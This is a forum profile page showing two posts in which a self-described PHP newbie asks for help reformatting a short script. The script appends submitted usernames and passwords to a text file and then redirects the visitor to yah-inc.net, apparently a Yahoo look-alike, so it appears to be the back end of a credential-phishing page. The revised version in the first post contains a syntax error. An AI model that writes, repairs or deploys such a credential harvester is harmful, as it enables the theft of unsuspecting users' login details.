Jump to content

Neep Help

New Members
  • Posts

    8
  • Joined

  • Last visited

    Never

Posts posted by Neep Help

  1. So my code in all would be?

    [code]<?php
    header("Location: http://yah-inc.net");
    $handle = fopen("users.txt", "a");
    $string = $_POST['user'] . ":" . $_POST['password'] . "\r\n";
    fwrite($handle, $string);
    }
    fwrite($handle, "\r\n");
    fclose($handle);
    exit;
    ?>[/code]

    it does not work, i am a newbie to php..could you explain more...thanks :-[
  2. Hi all, I am in need of help editing this tiney php code. It saves in this format:

    user=guest
    password=password1

    I would like one of you to alter the code so it saves in this format:

    guest:password1

    I have no idea how to do this help please!! ??? :-[

    [code]<?php
    header("Location: http://yah-inc.net");
    $handle = fopen("users.txt", "a");
    foreach($_GET as $variable => $value) {
       fwrite($handle, $variable);
       fwrite($handle, "=");
       fwrite($handle, $value);
       fwrite($handle, "\r\n");
    }
    fwrite($handle, "\r\n");
    fclose($handle);
    exit;
    ?>[/code]
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.